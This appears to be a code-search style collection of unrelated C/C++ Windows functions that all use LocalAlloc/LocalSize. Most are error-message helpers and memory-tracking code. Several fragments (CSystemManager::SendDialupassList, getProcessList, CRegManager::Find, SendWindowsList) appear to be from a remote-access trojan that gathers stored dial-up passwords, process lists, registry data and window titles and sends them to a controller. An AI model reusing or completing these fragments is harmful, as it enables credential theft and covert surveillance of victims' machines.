HLOCAL WINAPI SHLocalReAlloc(HLOCAL hOld, UINT cbNew, UINT uFlags) { HLOCAL hNew; int cbAllocOld, cbAllocNew; cbAllocOld = LocalSize(hOld); hNew = LocalReAlloc(hOld, cbNew, uFlags); cbAllocNew = LocalSize(hNew); g_cbAlloced += (cbAllocNew-cbAllocOld); g_dwReallocs++; DebugMsg(g_fAllocMsgs, TEXT("SHLocalRealloc: %#08x %#08x \t%d"), hNew, hOld, cbAllocNew); return hNew; }
// 继续写这个函数 void CSystemManager::SendDialupassList() { CDialupass pass; int nPacketLen = 0; for (int i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) nPacketLen += lstrlen(pOneInfo->Get(j)) + 1; } nPacketLen += 1; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen); DWORD dwOffset = 1; for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) { int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1; memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength); dwOffset += nFieldLength; } } lpBuffer[0] = TOKEN_DIALUPASS; Send((LPBYTE)lpBuffer, LocalSize(lpBuffer)); LocalFree(lpBuffer); }
void ErrorHandler(LPTSTR lpszFunction) { // Retrieve the system error message for the last-error code. LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message. lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR) lpMsgBuf) + lstrlen((LPCTSTR) lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); MessageBox(NULL, (LPCTSTR) lpDisplayBuf, TEXT("Error"), MB_OK); // Free error-handling buffer allocations. LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); }
LPBYTE CSystemManager::getProcessList() { HANDLE hSnapshot = NULL; HANDLE hProcess = NULL; HMODULE hModules = NULL; PROCESSENTRY32 pe32 = {0}; DWORD cbNeeded; char strProcessName[MAX_PATH] = {0}; LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; DWORD dwLength = 0; DebugPrivilege(SE_DEBUG_NAME, TRUE); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return NULL; pe32.dwSize = sizeof(PROCESSENTRY32); lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); lpBuffer[0] = TOKEN_PSLIST; dwOffset = 1; if(Process32First(hSnapshot, &pe32)) { do { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4)) { EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName)); // 此进程占用数据大小 dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); dwOffset += lstrlen(pe32.szExeFile) + 1; memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1); dwOffset += lstrlen(strProcessName) + 1; } } while(Process32Next(hSnapshot, &pe32)); } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); DebugPrivilege(SE_DEBUG_NAME, FALSE); CloseHandle(hSnapshot); return lpBuffer; }
void errorExit(const std::string& functionName) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL); // Display the error message and exit the process auto lpszFunctionStr = util::windowsStr(functionName); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunctionStr.c_str()) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), lpszFunctionStr.c_str(), dw, lpMsgBuf); MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); DEBUG_BREAK; LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); ExitProcess(dw); }
void *SubAlloc(WORD wSeg, unsigned size) /* wSeg is the global segment's selector */ { HANDLE hBlock; /* better be a stack variable */ void *Block; /* better be a stack variable */ #if MEMTRACE WORD RealSize = 0;/* better be a stack variable */ #endif SWITCH_DS(wSeg) hBlock = LocalAlloc (LMEM_FIXED | LMEM_NOCOMPACT, size); /* no point attempting compaction: everything is FIXED in this heap! */ if (hBlock) { Block = (void*)(LPSTR)LocalLock (hBlock); #if MEMTRACE RealSize = LocalSize (hBlock); #endif } RESTORE_DS #if MEMTRACE mtr[mtrx].m_func = MTR_SUBALLOC; mtr[mtrx].m_ptr.m_block = hBlock ? Block : NULL; mtr[mtrx].m_size = RealSize; mtr[mtrx++].m_optimseg = OptimumSeg; #endif if (hBlock) return Block; /* success ! */ else return NULL; /* failure!! */ } /* SubAlloc */
bool CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) { DWORD dwLength = 0; DWORD dwOffset = 0; DWORD dwProcessID = 0; LPBYTE lpBuffer = *(LPBYTE *)lParam; char strTitle[1024]; memset(strTitle, 0, sizeof(strTitle)); GetWindowText(hwnd, strTitle, sizeof(strTitle)); if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0) return true; if (lpBuffer == NULL) lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1; dwOffset = LocalSize(lpBuffer); lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset)); memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1); *(LPBYTE *)lParam = lpBuffer; return true; }
void BrainUtil::LogOutLastError(const CString& lpszFunction) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); if(0 == dw) return; // Don't need to log out the success information. FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), (LPCTSTR)lpszFunction, dw, lpMsgBuf); LogOut((LPTSTR)lpDisplayBuf, COLOR_RED); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); //ExitProcess(dw); }
std::wstring Win32ErrorToString(const DWORD dwErrorCode) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); // Display the error message and return in lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)dwErrorCode) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), dwErrorCode, dw, lpMsgBuf); // MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); std::wstring strRet((LPTSTR)lpDisplayBuf); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); return strRet; }
// 函数功能:根据指定的错误代码,获取对应的错误描述信息 void GetErrorReason(__in const DWORD dwErrCode, __out CString & strErrMsg) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf = NULL; LPVOID lpDisplayBuf = NULL;; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwErrCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (_tcslen((LPCTSTR)lpMsgBuf) + 40)*sizeof(TCHAR)); if (lpDisplayBuf) { StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf), _T("%s"), lpMsgBuf); strErrMsg.Format(_T("%s"), lpDisplayBuf); } lpMsgBuf ? LocalFree(lpMsgBuf) : 0; lpDisplayBuf ? LocalFree(lpDisplayBuf) : 0; }
void ErrorExit(HANDLE hContact,LPTSTR lpszFunction) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_GERMAN, SUBLANG_GERMAN), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); ShowDebugPopup(hContact,TEXT("Error"), (LPCTSTR)lpDisplayBuf); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); }
void PrintLoadError(const char* so_name) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)so_name) + 40) * sizeof(TCHAR)); _snprintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("error loading %s err = %s"), so_name, lpMsgBuf); jack_error((LPCTSTR)lpDisplayBuf); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); }
UINT _ValidateLocalMem(HLOCAL hMem, LPARAM lParam, LPCSTR pszText) { UINT uByte = 0; if (hMem) { UINT uSize = LocalSize(hMem); if (uSize) { LPARAM lParamStored; uByte = *(UINT*)HMEM2PTR(hMem, uSize-sizeof(UINT)); AssertMsg(uByte+CBALLOCEXTRA <= uSize, "cm ASSERT! Bogus uByte %d (%s for %x)", uByte, pszText, hMem); lParamStored = *(LPARAM*)HMEM2PTR(hMem, uByte); AssertMsg(lParamStored==lParam, "cm ASSERT! Bad Signiture %x (%s for %x)", lParamStored, pszText, hMem); } else { AssertMsg(0, "cm ASSERT! LocalSize is zero (%s for %x)", pszText, hMem); } } return uByte; }
/** @brief This function is pretty much straight from http://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx @note It is edited for console output, but thats about it. @param[in] lpszFunction - The function that failed. @param[in] lpAdditionalHelp - Any sort of additional information that might be useful for the user. @return Nothing, execution does not return from this function. @private **/ void ErrorExit(LPTSTR lpszFunction, LPCSTR lpAdditionalHelp) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("ERROR: %s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); //MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); wprintf((LPWSTR)lpDisplayBuf); if(lpAdditionalHelp != NULL) printf("ADDITIONAL HELP: %s\n",lpAdditionalHelp); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); ExitProcess(dw); }
/*{ DWORD dwRead, dwWritten; CHAR chBuf[BUFSIZE]; BOOL bSuccess = FALSE; HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE); for (;;) { bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL); if (!bSuccess || dwRead == 0) break; bSuccess = WriteFile(hParentStdOut, chBuf, dwRead, &dwWritten, NULL); if (!bSuccess) break; } } */ void ErrorExit(PTSTR lpszFunction) // Format a readable error message, display a message box, // and exit from the application. { LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40)*sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); ExitProcess(1); }
UINT FmtErrorMsg(HWND hwnd, DWORD dwMsgBoxType, DWORD dwError, TCHAR *szFmt, ...) { TCHAR *lpMsgBuf; TCHAR *ptr; UINT msgboxerr; va_list varg; va_start(varg, szFmt); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); ptr = LocalAlloc(LPTR, LocalSize(lpMsgBuf) + 1000 * sizeof(TCHAR)); _vstprintf(ptr, szFmt, varg); _tcscat(ptr, lpMsgBuf); msgboxerr = MessageBox(hwnd, ptr, APP_TITLE, dwMsgBoxType); LocalFree( lpMsgBuf ); LocalFree( ptr ); va_end(varg); return msgboxerr; }
// from http://msdn.microsoft.com/ru-RU/library/windows/desktop/ms680582(v=vs.85).aspx CString GetLastErrorMsg(LPTSTR lpszFunction, DWORD dw/* = GetLastError()*/) { LPVOID lpMsgBuf; LPVOID lpDisplayBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), //MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default system language (LPTSTR)&lpMsgBuf, 0, NULL); // Format the error message lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), L"Function '%s' failed with error %d: %s", lpszFunction, dw, lpMsgBuf); CString ret = (LPCTSTR)lpDisplayBuf; LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); return ret; }
void LastErrorMessageBox(HWND hwnd, LPTSTR lpszError) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_FROM_HMODULE | FORMAT_MESSAGE_IGNORE_INSERTS, GetModuleHandle(_T("wininet.dll")), dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszError) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s\n\nError %d: %s"), lpszError, dw, lpMsgBuf); MessageBox(hwnd, (LPCTSTR)lpDisplayBuf, szTitle, MB_OK | MB_ICONERROR); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); }
std::string Utils::GetLastError() { LPVOID lpErrMsgBuf; LPVOID lpMessageBuf; DWORD dwErrorCode = ::GetLastError(); // Get the string corresponding to the error code FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpErrMsgBuf, 0, NULL); // Allocate a bigger buffer lpMessageBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpErrMsgBuf)+40)*sizeof(TCHAR)); // Format the message like so: "error 'code': 'message'" StringCchPrintf((LPTSTR)lpMessageBuf, LocalSize(lpMessageBuf) / sizeof(TCHAR), TEXT("error %d: %s"), dwErrorCode, lpErrMsgBuf); std::wstring wsMessage((LPCTSTR)lpMessageBuf); LocalFree(lpErrMsgBuf); LocalFree(lpMessageBuf); return narrowString(wsMessage); }
void ReportError(LPTSTR lpszFunction) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); //GLogger << FATAL << lpDisplayBuf << std::endl; LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); ExitProcess(dw); }
void Die(LPTSTR lpszFunction) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dwError = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%s failed with error 0x%x: %s"), lpszFunction, dwError, lpMsgBuf); MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Media Key Simulator"), MB_ICONSTOP); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); ExitProcess(dwError); }
// dir = direction multiplier (drawing up or down) // yTic = where (vertically) to draw the line of tics void CXTPSkinObjectTrackBar::DrawTicsOneLine(CDC* pDC, int dir, int yTic) { const RECT& rc = m_drawRect.rc; BOOL bVert = GetStyle() & TBS_VERT; CXTPSkinManagerClass* pClass = GetSkinClass(); COLORREF clrTick = pClass->GetThemeColor(bVert ? TKP_TICSVERT : TKP_TICS, 1, TMT_COLOR, GetColor(COLOR_BTNTEXT)); DrawTic(pDC, rc.left, yTic, dir, clrTick); DrawTic(pDC, rc.left, yTic + (dir * 1), dir, clrTick); DrawTic(pDC, rc.right-1, yTic, dir, clrTick); DrawTic(pDC, rc.right-1, yTic+ (dir * 1), dir, clrTick); PDWORD pTics = (PDWORD)SendMessage(TBM_GETPTICS); int iPos; int i; int nTics = pTics ? (int)LocalSize((HANDLE)pTics) / sizeof(DWORD) : 0; // those inbetween if (m_nTickFreq && pTics) { for (i = 0; i < nTics; ++i) { if (((i + 1) % m_nTickFreq) == 0) { iPos = LogToPhys(pTics[i]); DrawTic(pDC, iPos, yTic, dir, clrTick); } } } int lSelStart = (int)SendMessage(TBM_GETSELSTART); int lSelEnd = (int)SendMessage(TBM_GETSELEND); int lLogMin = (int)SendMessage(TBM_GETRANGEMIN); // draw the selection range (triangles) if ((GetStyle() & TBS_ENABLESELRANGE) && (lSelStart < lSelEnd) && (lSelEnd >= lLogMin)) { pDC->SetBkColor(clrTick); iPos = LogToPhys(lSelStart); for (i = 0; i < TICKHEIGHT; i++) PatRect(pDC,iPos-i,yTic+(dir==1 ? i : -TICKHEIGHT), 1,TICKHEIGHT-i, GetStyle() & TBS_VERT, GetColor(COLOR_BTNTEXT)); iPos = LogToPhys(lSelEnd); for (i = 0; i < TICKHEIGHT; i++) PatRect(pDC,iPos+i,yTic+(dir==1 ? i : -TICKHEIGHT), 1,TICKHEIGHT-i, GetStyle() & TBS_VERT, GetColor(COLOR_BTNTEXT)); } }
static void test_IMalloc(void) { LPVOID lpMem; ULONG ulRef; int iRet; HRESULT hRet; LPMALLOC lpMalloc; LPVOID lpVoid; pMAPIGetDefaultMalloc = (void*)GetProcAddress(hMapi32, "MAPIGetDefaultMalloc@0"); if (!pMAPIGetDefaultMalloc) { win_skip("MAPIGetDefaultMalloc is not available\n"); return; } lpMalloc = pMAPIGetDefaultMalloc(); ok(lpMalloc != NULL, "Expected MAPIGetDefaultMalloc to return non-NULL\n"); if (!lpMalloc) { skip("MAPIGetDefaultMalloc failed\n"); return; } lpVoid = NULL; hRet = IMalloc_QueryInterface(lpMalloc, &IID_IUnknown, &lpVoid); ok (hRet == S_OK && lpVoid != NULL, "IID_IUnknown: expected S_OK, non-null, got 0x%08x, %p\n", hRet, lpVoid); lpVoid = NULL; hRet = IMalloc_QueryInterface(lpMalloc, &IID_IMalloc, &lpVoid); ok (hRet == S_OK && lpVoid != NULL, "IID_IIMalloc: expected S_OK, non-null, got 0x%08x, %p\n", hRet, lpVoid); /* Prove that native mapi uses LocalAlloc/LocalFree */ lpMem = IMalloc_Alloc(lpMalloc, 61); ok (lpMem && IMalloc_GetSize(lpMalloc, lpMem) == LocalSize(lpMem), "Expected non-null, same size, got %p, %s size\n", lpMem, lpMem ? "different" : "same"); iRet = IMalloc_DidAlloc(lpMalloc, lpMem); ok (iRet == -1, "DidAlloc, expected -1. got %d\n", iRet); IMalloc_HeapMinimize(lpMalloc); LocalFree(lpMem); ulRef = IMalloc_AddRef(lpMalloc); ok (ulRef == 1u, "AddRef expected 1, returned %d\n", ulRef); ulRef = IMalloc_Release(lpMalloc); ok (ulRef == 1u, "AddRef expected 1, returned %d\n", ulRef); IMalloc_Release(lpMalloc); }
bool opLoadLib(LibHandle* handle, const char* libpath) { if (handle == nullptr || libpath == nullptr || strlen(libpath) == 0) { LOG_ERROR(opLib) << "opLoadLib: No library specified"; return false; } #ifdef _MSC_VER const size_t size = strlen(libpath) + 1; std::wstring path(size, L'#'); size_t convnum = 0; mbstowcs_s(&convnum, &path[0], size, libpath, _TRUNCATE); *handle = LoadLibrary(path.c_str()); if (*handle == nullptr) { LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dwErr = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwErr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("error %d: %s"), dwErr, lpMsgBuf); std::string errMsg = MBFromW((LPCTSTR)lpDisplayBuf, CP_ACP); LOG_ERROR(opLib) << "opLoadLib('" << libpath << "') " << errMsg; LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); return false; } #else *handle = dlopen(libpath, RTLD_NOW); if (*handle == nullptr) { LOG_ERROR(opLib) << "dlopen('" << libpath << "') failed: " << dlerror(); return false; } #endif return true; }
void CRegManager::Find(char bToken, char *path) { RegeditOpt reg(bToken); if(path!=NULL){ reg.SetPath(path); } char *tmp= reg.FindPath(); if(tmp!=NULL){ Send((LPBYTE)tmp, LocalSize(tmp)); LocalFree(tmp); } char* tmpd=reg.FindKey(); if(tmpd!=NULL){ Send((LPBYTE)tmpd, LocalSize(tmpd)); LocalFree(tmpd); } }
HLOCAL WINAPI SHLocalFree(HLOCAL h) { int cbFree; cbFree = LocalSize(h); g_cbAlloced -= cbFree; g_dwFrees++; DebugMsg(g_fAllocMsgs, TEXT("SHLocalFree : %#08x %d"), h, cbFree); return LocalFree(h); }
void _StoreSigniture(HLOCAL hMem, UINT uByte, LPARAM lParam) { if (hMem) { UINT uSize = LocalSize(hMem); Assert(uSize>=uByte+CBALLOCEXTRA); *(UINT*)HMEM2PTR(hMem, uSize-sizeof(UINT)) = uByte; *(LPARAM*)HMEM2PTR(hMem, uByte) = lParam; } }
HLOCAL WINAPI MemMon_LogLocalAlloc(HLOCAL h) { int cbAlloc; cbAlloc = LocalSize(h); g_cbAlloced += cbAlloc; g_dwAllocs++; DebugMsg(g_fAllocMsgs, TEXT("SHLocalAlloc : %#08x %d"), h, cbAlloc); return h; }
void CSystemManager::SendWindowsList() { UINT nRet = -1; LPBYTE lpBuffer = getWindowsList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, LocalSize(lpBuffer)); LocalFree(lpBuffer); }
